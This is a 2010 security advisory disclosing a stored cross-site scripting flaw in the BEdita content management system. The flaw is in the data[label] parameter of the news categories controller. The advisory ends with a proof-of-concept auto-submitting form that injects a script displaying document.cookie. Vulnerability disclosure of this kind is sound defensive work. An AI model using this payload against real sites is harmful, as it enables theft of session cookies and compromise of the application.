Stored Cross Site Scripting vulnerability in BEdita

[advisory () htbridge ch]

Vulnerability ID: HTB22728
Reference: http://www.htbridge.ch/advisory/stored_cross_site_scripting_vulnerability_in_bedita.html
Product: BEdita
Vendor: Chialab & ChannelWeb ( http://www.bedita.com/ ) 
Vulnerable Version: 3.0.1.2550 "betula" and probably prior versions
Vendor Notification: 30 November 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "bedita-app/controllers/modules/news_controller.php" script to properly 
sanitize user-supplied input in "data[label]" variable. Successful exploitation of this vulnerability could result in a 
compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of 
sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/bedita-app/news/saveCategories"; method="post" name="main">
<input type="hidden" name="data[label]" value='cat"><script>alert(document.cookie)</script>'>
<input type="hidden" name="data[status]" value="on">
<input type="hidden" name="data[area_id]" value="">
<input type="hidden" name="data[object_type_id]" value="18">
</form>
<script>
document.main.submit();
</script>